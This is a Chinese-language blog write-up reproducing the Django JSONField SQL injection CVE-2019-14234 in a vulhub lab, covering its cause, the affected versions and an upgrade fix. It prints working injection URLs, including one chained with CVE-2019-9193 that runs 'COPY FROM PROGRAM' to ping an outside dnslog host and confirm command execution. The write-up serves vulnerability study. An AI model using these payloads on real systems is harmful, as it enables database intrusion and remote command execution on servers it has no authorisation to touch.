Django CVE-2019-14234
CVE-2019-14234:Django JSONField SQL注入漏洞復現
- 你剝開一個很酸的橙子而感到后悔了,可對于橙子來說,那是它的一切.
該漏洞需要開發者使用了JSONField/HStoreField,且用戶可控queryset查詢時的鍵名,在鍵名的位置注入SQL語句。
漏洞概述:
Django通常搭配postgresql數據庫,而JSONField是該數據庫的一種數據類型。該漏洞的出現的原因在于Django中JSONField類的實現,Django的model最本質的作用是生成SQL語句,而在Django通過JSONField生成sql語句時,是通過簡單的字符串拼接。
通過JSONField類獲得KeyTransform類并生成sql語句的位置。
其中key_name是可控的字符串,最終生成的語句是WHERE (field->’[key_name]’) = ‘value’,因此可以進行SQL注入。
漏洞版本:
- Django
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4
漏洞復現:
vulhub搭建,進行訪問
通過對代碼的分析,可以知道如果在你的Django中使用了JSONField并且查詢的“鍵名”可控,就可以進行SQL注入
訪問http://ip:8000/admin輸入用戶名admin ,密碼a123123123
然后訪問http://ip:8000/admin/vuln/collection/
構造URL進行查詢,可以看到已經注入成功,并且可以看到構造的SQL語句
http://ip:8000/admin/vuln/collection/?detail__a%27b=123
7.下一步結合CVE-2019-9193我們嘗試進行命令注入,構造url如下
?detail__title’)%3d’1’ or 1%3d1 %3bcreate table cmd_exec(cmd_output text)–%20
然后用dnslog檢測是否可以執行命令
http://192.168.224.128:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20wyz26d.dnslog.cn%27–%20
成功檢測到流量
漏洞修復:
-
升級升級升級。
余生很長,請多指教。
總結
以上是生活随笔為你收集整理的Django CVE-2019-14234的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: burp和xray联动
- 下一篇: sqlmap的使用 ---- 自带绕过脚